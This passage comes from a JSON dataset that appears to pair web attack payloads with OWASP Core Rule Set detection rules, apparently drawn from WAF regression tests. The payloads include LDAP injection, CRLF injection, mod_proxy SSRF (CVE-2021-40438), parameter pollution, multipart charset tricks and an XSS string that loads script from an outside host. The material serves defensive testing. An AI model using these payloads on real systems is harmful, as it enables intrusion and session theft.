"malicious_payload": [ { "location": "uri_params", "value": "QQQ" } ], "attack_context": { "method": null, "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_FILENAME", "part": "", "negated": false } ], "operator": { "type": "@rx", "argument": "[\\n\\r]", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-protocol" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "921190", "test_description": "PHP Settings injection: Nginx + PHP-FPM (CVE-2019-11043)" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "foo=(%26(objectCategory=computer) (userAccountControl:1.2.840.113556.1.4.803:=8192))" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "^[^:\\(\\)\\&\\|\\!\\<\\>\\~]*\\)\\s*(?:\\((?:[^,\\(\\)\\=\\&\\|\\!\\<\\>\\~]+[><~]?=|\\s*[&!|]\\s*(?:\\)|\\()?\\s*)|\\)\\s*\\(\\s*[\\&\\|\\!]\\s*|[&!|]\\s*\\([^\\(\\)\\=\\&\\|\\!\\<\\>\\~]+[><~]?=[^:\\(\\)\\&\\|\\!\\<\\>\\~]*)", "negated": false } }, "transformations": [ "none", "htmlEntityDecode" ], "attack_type": [], "severity": "CRITICAL" }, "metadata": { "rule_id": "921200", "test_description": "Testing for FP, this should not trigger" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "foo=(objectSID=S-1-5-21-73586283-152049171-839522115-1111)" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "^[^:\\(\\)\\&\\|\\!\\<\\>\\~]*\\)\\s*(?:\\((?:[^,\\(\\)\\=\\&\\|\\!\\<\\>\\~]+[><~]?=|\\s*[&!|]\\s*(?:\\)|\\()?\\s*)|\\)\\s*\\(\\s*[\\&\\|\\!]\\s*|[&!|]\\s*\\([^\\(\\)\\=\\&\\|\\!\\<\\>\\~]+[><~]?=[^:\\(\\)\\&\\|\\!\\<\\>\\~]*)", "negated": false } }, "transformations": [ "none", "htmlEntityDecode" ], "attack_type": [], "severity": "CRITICAL" }, "metadata": { "rule_id": "921200", "test_description": "Testing for FP, this should not trigger" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "foo=(userAccountControl:1.2.840.113556.1.4.803:=67108864)(%26(objectCategory=group)(groupType:1.2.840.113556.1.4.803:=2147483648))" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "^[^:\\(\\)\\&\\|\\!\\<\\>\\~]*\\)\\s*(?:\\((?:[^,\\(\\)\\=\\&\\|\\!\\<\\>\\~]+[><~]?=|\\s*[&!|]\\s*(?:\\)|\\()?\\s*)|\\)\\s*\\(\\s*[\\&\\|\\!]\\s*|[&!|]\\s*\\([^\\(\\)\\=\\&\\|\\!\\<\\>\\~]+[><~]?=[^:\\(\\)\\&\\|\\!\\<\\>\\~]*)", "negated": false } }, "transformations": [ "none", "htmlEntityDecode" ], "attack_type": [], "severity": "CRITICAL" }, "metadata": { "rule_id": "921200", "test_description": "Testing for FP, this should not trigger" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "foo=bar)(%26)" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "^[^:\\(\\)\\&\\|\\!\\<\\>\\~]*\\)\\s*(?:\\((?:[^,\\(\\)\\=\\&\\|\\!\\<\\>\\~]+[><~]?=|\\s*[&!|]\\s*(?:\\)|\\()?\\s*)|\\)\\s*\\(\\s*[\\&\\|\\!]\\s*|[&!|]\\s*\\([^\\(\\)\\=\\&\\|\\!\\<\\>\\~]+[><~]?=[^:\\(\\)\\&\\|\\!\\<\\>\\~]*)", "negated": false } }, "transformations": [ "none", "htmlEntityDecode" ], "attack_type": [], "severity": "CRITICAL" }, "metadata": { "rule_id": "921200", "test_description": "Testing for rule, this should trigger" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "foo=printer)(uid=*)" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "^[^:\\(\\)\\&\\|\\!\\<\\>\\~]*\\)\\s*(?:\\((?:[^,\\(\\)\\=\\&\\|\\!\\<\\>\\~]+[><~]?=|\\s*[&!|]\\s*(?:\\)|\\()?\\s*)|\\)\\s*\\(\\s*[\\&\\|\\!]\\s*|[&!|]\\s*\\([^\\(\\)\\=\\&\\|\\!\\<\\>\\~]+[><~]?=[^:\\(\\)\\&\\|\\!\\<\\>\\~]*)", "negated": false } }, "transformations": [ "none", "htmlEntityDecode" ], "attack_type": [], "severity": "CRITICAL" }, "metadata": { "rule_id": "921200", "test_description": "Testing for rule, this should trigger" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "foo=void)(objectClass=users))(%26(objectClass=void)" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "^[^:\\(\\)\\&\\|\\!\\<\\>\\~]*\\)\\s*(?:\\((?:[^,\\(\\)\\=\\&\\|\\!\\<\\>\\~]+[><~]?=|\\s*[&!|]\\s*(?:\\)|\\()?\\s*)|\\)\\s*\\(\\s*[\\&\\|\\!]\\s*|[&!|]\\s*\\([^\\(\\)\\=\\&\\|\\!\\<\\>\\~]+[><~]?=[^:\\(\\)\\&\\|\\!\\<\\>\\~]*)", "negated": false } }, "transformations": [ "none", "htmlEntityDecode" ], "attack_type": [], "severity": "CRITICAL" }, "metadata": { "rule_id": "921200", "test_description": "Testing for rule, this should trigger" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "foo=eb9adbd87d)!(sn=*" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "^[^:\\(\\)\\&\\|\\!\\<\\>\\~]*\\)\\s*(?:\\((?:[^,\\(\\)\\=\\&\\|\\!\\<\\>\\~]+[><~]?=|\\s*[&!|]\\s*(?:\\)|\\()?\\s*)|\\)\\s*\\(\\s*[\\&\\|\\!]\\s*|[&!|]\\s*\\([^\\(\\)\\=\\&\\|\\!\\<\\>\\~]+[><~]?=[^:\\(\\)\\&\\|\\!\\<\\>\\~]*)", "negated": false } }, "transformations": [ "none", "htmlEntityDecode" ], "attack_type": [], "severity": "CRITICAL" }, "metadata": { "rule_id": "921200", "test_description": "Testing for rule, this should trigger" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "foo=*)!(sn=*" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "^[^:\\(\\)\\&\\|\\!\\<\\>\\~]*\\)\\s*(?:\\((?:[^,\\(\\)\\=\\&\\|\\!\\<\\>\\~]+[><~]?=|\\s*[&!|]\\s*(?:\\)|\\()?\\s*)|\\)\\s*\\(\\s*[\\&\\|\\!]\\s*|[&!|]\\s*\\([^\\(\\)\\=\\&\\|\\!\\<\\>\\~]+[><~]?=[^:\\(\\)\\&\\|\\!\\<\\>\\~]*)", "negated": false } }, "transformations": [ "none", "htmlEntityDecode" ], "attack_type": [], "severity": "CRITICAL" }, "metadata": { "rule_id": "921200", "test_description": "Testing for rule, this should trigger" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "foo=*)(uid=*))(|(uid=*" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "^[^:\\(\\)\\&\\|\\!\\<\\>\\~]*\\)\\s*(?:\\((?:[^,\\(\\)\\=\\&\\|\\!\\<\\>\\~]+[><~]?=|\\s*[&!|]\\s*(?:\\)|\\()?\\s*)|\\)\\s*\\(\\s*[\\&\\|\\!]\\s*|[&!|]\\s*\\([^\\(\\)\\=\\&\\|\\!\\<\\>\\~]+[><~]?=[^:\\(\\)\\&\\|\\!\\<\\>\\~]*)", "negated": false } }, "transformations": [ "none", "htmlEntityDecode" ], "attack_type": [], "severity": "CRITICAL" }, "metadata": { "rule_id": "921200", "test_description": "Testing for rule, this should trigger" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "foo=aaa*aaa)(cn>=bob)" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "^[^:\\(\\)\\&\\|\\!\\<\\>\\~]*\\)\\s*(?:\\((?:[^,\\(\\)\\=\\&\\|\\!\\<\\>\\~]+[><~]?=|\\s*[&!|]\\s*(?:\\)|\\()?\\s*)|\\)\\s*\\(\\s*[\\&\\|\\!]\\s*|[&!|]\\s*\\([^\\(\\)\\=\\&\\|\\!\\<\\>\\~]+[><~]?=[^:\\(\\)\\&\\|\\!\\<\\>\\~]*)", "negated": false } }, "transformations": [ "none", "htmlEntityDecode" ], "attack_type": [], "severity": "CRITICAL" }, "metadata": { "rule_id": "921200", "test_description": "Testing for rule, this should trigger" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "unix:AAAAAAAAA|http://coreruleset.org/" } ], "attack_context": { "method": null, "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_URI_RAW", "part": "", "negated": false } ], "operator": { "type": "@rx", "argument": "unix:[^|]*\\|", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "lowercase" ], "attack_type": [ "attack-protocol" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "921240", "test_description": "Detect attacks against mod_proxy: CVE-2021-40438" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "unix%3AAAAAAAAAA|http://coreruleset.org/" } ], "attack_context": { "method": null, "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_URI_RAW", "part": "", "negated": false } ], "operator": { "type": "@rx", "argument": "unix:[^|]*\\|", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "lowercase" ], "attack_type": [ "attack-protocol" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "921240", "test_description": "Detect attacks against mod_proxy: CVE-2021-40438, URI encoded" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "941151-1=test%0Dnext=more" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS_GET", "part": "", "negated": false } ], "operator": { "type": "@rx", "argument": "[\\n\\r]", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-protocol" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "921151", "test_description": "" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "941151-2=test%0Anext=more" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS_GET", "part": "", "negated": false } ], "operator": { "type": "@rx", "argument": "[\\n\\r]", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-protocol" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "921151", "test_description": "" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "941151-3=test%0A%0Dnext=more" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS_GET", "part": "", "negated": false } ], "operator": { "type": "@rx", "argument": "[\\n\\r]", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-protocol" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "921151", "test_description": "" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "941151-4=test\\r\\nmore=text" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS_GET", "part": "", "negated": false } ], "operator": { "type": "@rx", "argument": "[\\n\\r]", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-protocol" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "921151", "test_description": "" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "pineapple=pizza" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "TX", "part": "/paramcounter_.*/", "negated": false } ], "operator": { "type": "@gt", "argument": "1", "negated": false } }, "transformations": [], "attack_type": [ "attack-protocol" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "921180", "test_description": "" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "pineapple=pizza&pizza=pineapple" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "TX", "part": "/paramcounter_.*/", "negated": false } ], "operator": { "type": "@gt", "argument": "1", "negated": false } }, "transformations": [], "attack_type": [ "attack-protocol" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "921180", "test_description": "" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "pineapple=pizza&pineapple=aint-pizza" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "TX", "part": "/paramcounter_.*/", "negated": false } ], "operator": { "type": "@gt", "argument": "1", "negated": false } }, "transformations": [], "attack_type": [ "attack-protocol" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "921180", "test_description": "" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "pineapple=pizza&pineapple2=aint-pizza" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "TX", "part": "/paramcounter_.*/", "negated": false } ], "operator": { "type": "@gt", "argument": "1", "negated": false } }, "transformations": [], "attack_type": [ "attack-protocol" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "921180", "test_description": "" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "pineapple=pizza&pineapple=aint-pizza&pineapple=is-pizza&pineapple=aint-pizza2" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "TX", "part": "/paramcounter_.*/", "negated": false } ], "operator": { "type": "@gt", "argument": "1", "negated": false } }, "transformations": [], "attack_type": [ "attack-protocol" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "921180", "test_description": "query parameter repetition" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo[1]a=bar&foo[1]b=" } ], "attack_context": { "method": null, "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS_NAMES", "part": "", "negated": false } ], "operator": { "type": "@rx", "argument": "(][^\\]]+$|][^\\]]+\\[)", "negated": false } }, "transformations": [], "attack_type": [ "attack-protocol" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "921210", "test_description": "HTTP Parameter Pollution via bogus chars after parameter array name" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo[1]a[2]=bar" } ], "attack_context": { "method": null, "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS_NAMES", "part": "", "negated": false } ], "operator": { "type": "@rx", "argument": "(][^\\]]+$|][^\\]]+\\[)", "negated": false } }, "transformations": [], "attack_type": [ "attack-protocol" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "921210", "test_description": "HTTP Parameter Pollution via bogus chars between square brackets of multi-dimensional array name" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo[1][2]=bar" } ], "attack_context": { "method": null, "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS_NAMES", "part": "", "negated": false } ], "operator": { "type": "@rx", "argument": "(][^\\]]+$|][^\\]]+\\[)", "negated": false } }, "transformations": [], "attack_type": [ "attack-protocol" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "921210", "test_description": "HTTP Parameter Pollution false positive test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo[1]=bar" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS_NAMES", "part": "", "negated": false } ], "operator": { "type": "@rx", "argument": "\\[", "negated": false } }, "transformations": [], "attack_type": [ "attack-protocol" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "921220", "test_description": "Potential HTTP Parameter Pollution via parameter array" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "input=setTimeout(\"top.frame2.location=\"javascript:(function+()+{var+x+=+document.createElement(\\\\\"script\\\\\");x.src+=+\\\\\"//sdl.me/popup.js?//\\\\\";document.childNodes\\\\[0\\\\].appendChild(x);}());\"\",1000)&//" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "TX", "part": "BLOCKING_INBOUND_ANOMALY_SCORE", "negated": false } ], "operator": { "type": "@ge", "argument": "%{tx.inbound_anomaly_score_threshold}", "negated": false } }, "transformations": [ "none" ], "attack_type": [], "severity": null }, "metadata": { "rule_id": "949110", "test_description": "Test is basically identical to 941100-1 (XSS positive test in phase 2) but here we assert that the inbound blocking mechanism is triggered" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "input=setTimeout(\"top.frame2.location=\"javascript:(function+()+{var+x+=+document.createElement(\\\\\"script\\\\\");x.src+=+\\\\\"//sdl.me/popup.js?//\\\\\";document.childNodes\\\\[0\\\\].appendChild(x);}());\"\",1000)&//" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "TX", "part": "BLOCKING_INBOUND_ANOMALY_SCORE", "negated": false } ], "operator": { "type": "@ge", "argument": "%{tx.inbound_anomaly_score_threshold}", "negated": false } }, "transformations": [ "none" ], "attack_type": [], "severity": null }, "metadata": { "rule_id": "949110", "test_description": "Test is basically identical to 949110-0 (see above) but here we assert that the scores are summed up and reported properly" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "--boundary\nContent-disposition: form-data; name=\"_charset_\"\n\nutf-7\n--boundary\nContent-disposition: form-data; name=\"positive\"\nContent-Type: text/plain\n\nLet me see if I can use utf-7.\n--boundary--\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "MULTIPART_PART_HEADERS", "part": "_charset_", "negated": false } ], "operator": { "type": "@eq", "argument": "0", "negated": true } }, "transformations": [ "none" ], "attack_type": [ "attack-multipart-header" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "922100", "test_description": "Positive test: utf-7 is not in allowed charsets" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "--boundary\nContent-disposition: form-data; name=\"_charset_\"\n\nutf-8\n--boundary\nContent-disposition: form-data; name=\"negative\"\nContent-Type: text/plain\n\nThis should be good as we use utf-8 that is allowed.\n--boundary--\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "MULTIPART_PART_HEADERS", "part": "_charset_", "negated": false } ], "operator": { "type": "@eq", "argument": "0", "negated": true } }, "transformations": [ "none" ], "attack_type": [ "attack-multipart-header" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "922100", "test_description": "Negative test: only allowed charsets when using _charset_" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "--boundary\nContent-disposition: form-data; name=\"_charset_\"\n\nutf-\n--boundary\nContent-disposition: form-data; name=\"negative\"\nContent-Type: text/plain\n\nutf-8 is valid but utf- should not be.\n--boundary--\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "MULTIPART_PART_HEADERS", "part": "_charset_", "negated": false } ], "operator": { "type": "@eq", "argument": "0", "negated": true } }, "transformations": [ "none" ], "attack_type": [ "attack-multipart-header" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "922100", "test_description": "Positive test: don't allow substrings of valid charsets when using _charset_" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "--boundary\nContent-disposition: form-data; name=\"_charset_\"\n\nutf-8\n--boundary\nContent-disposition: form-data; name=\"922110\"\nContent-Type: text/plain; charset=utf-7\n\nKnock knock.\n--boundary--\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "MULTIPART_PART_HEADERS", "part": "", "negated": false } ], "operator": { "type": "@rx", "argument": "^content-type\\s*:\\s*(.*)$", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-multipart-header", "attack-protocol" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "922110", "test_description": "Positive test: utf-7 is not in allowed charsets" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "--boundary\nContent-disposition: form-data; name=\"_charset_\"\n\nutf-8\n--boundary\nContent-disposition: form-data; name=\"negative\"\nContent-Type: text/plain; charset=utf-8\n\nI shold be allowed to get in.\n--boundary--\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "MULTIPART_PART_HEADERS", "part": "", "negated": false } ], "operator": { "type": "@rx", "argument": "^content-type\\s*:\\s*(.*)$", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-multipart-header", "attack-protocol" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "922110", "test_description": "Negative test: utf-8 is allowed" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "--boundary\nContent-Disposition: form-data; name=\"flavors\"\nContent-Transfer-Encoding: 8bit\nContent-Type: text/plain; charset=utf-7\n\nPineapple. Pizza.\n--boundary--\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "MULTIPART_PART_HEADERS", "part": "", "negated": false } ], "operator": { "type": "@rx", "argument": "content-transfer-encoding:(.*)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-multipart-header", "attack-deprecated-header" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "922120", "test_description": "Positive test: utf-7 is not in allowed charsets" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "--boundary\nContent-disposition: form-data; name=\"negative\"\nContent-Type: text/plain\n\nThis should be good as there is no content-transfer-encoding header.\n--boundary--\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "MULTIPART_PART_HEADERS", "part": "", "negated": false } ], "operator": { "type": "@rx", "argument": "content-transfer-encoding:(.*)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-multipart-header", "attack-deprecated-header" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "922120", "test_description": "Negative test: no content-transfer-encoding header should be good" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "--boundary\nContent-Disposition: form-data; name=\"file\"; filename=\"1.php\"\n\n\n--boundary--\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "MULTIPART_PART_HEADERS", "part": "", "negated": false } ], "operator": { "type": "@rx", "argument": "[^\\x21-\\x7E][\\x21-\\x39\\x3B-\\x7E]*:", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-multipart-header" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "922130", "test_description": "Negative test: no special character in multipart header" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "--boundary\nContent-!Disposition: form-data; name=\"file\"; filename=\"1.php\"\n\n\n--boundary--\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "MULTIPART_PART_HEADERS", "part": "", "negated": false } ], "operator": { "type": "@rx", "argument": "[^\\x21-\\x7E][\\x21-\\x39\\x3B-\\x7E]*:", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-multipart-header" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "922130", "test_description": "Negative test: no character from outside of range in multipart header; '!' is allowed (!, the first character in the range of valid characters))" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "--boundary\nContent~Disposition: form-data; name=\"file\"; filename=\"1.php\"\nContent-Disposition: form-data; name=\"post\"\n\n\n--boundary--\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "MULTIPART_PART_HEADERS", "part": "", "negated": false } ], "operator": { "type": "@rx", "argument": "[^\\x21-\\x7E][\\x21-\\x39\\x3B-\\x7E]*:", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-multipart-header" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "922130", "test_description": "Negative test: no character from outside of range in multipart header; '~' is allowed (~, the last valid character in the range of valid characters)" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "--boundary123\ntest\n--boundary123\nyet another test\n--boundary123--\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "MULTIPART_PART_HEADERS", "part": "", "negated": false } ], "operator": { "type": "@rx", "argument": "[^\\x21-\\x7E][\\x21-\\x39\\x3B-\\x7E]*:", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-multipart-header" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "922130", "test_description": "Negative test - do not match when there are no multipart headers." } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_METHOD", "part": "", "negated": false } ], "operator": { "type": "@within", "argument": "%{tx.allowed_methods}", "negated": true } }, "transformations": [], "attack_type": [ "attack-generic" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "911100", "test_description": "" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"body\": \"\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "TX", "part": "BLOCKING_OUTBOUND_ANOMALY_SCORE", "negated": false } ], "operator": { "type": "@ge", "argument": "%{tx.outbound_anomaly_score_threshold}", "negated": false } }, "transformations": [ "none" ], "attack_type": [], "severity": null }, "metadata": { "rule_id": "959100", "test_description": "Test is basically identical to 953120-1 (PHP leakage positive test in phase 4) but here we assert that the outbound blocking mechanism is triggered" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"body\": \"\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "TX", "part": "BLOCKING_OUTBOUND_ANOMALY_SCORE", "negated": false } ], "operator": { "type": "@ge", "argument": "%{tx.outbound_anomaly_score_threshold}", "negated": false } }, "transformations": [ "none" ], "attack_type": [], "severity": null }, "metadata": { "rule_id": "959100", "test_description": "Test is basically identical to 959100-1 (see above) but here we assert that the scores are summed up and reported properly" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"body\": \"

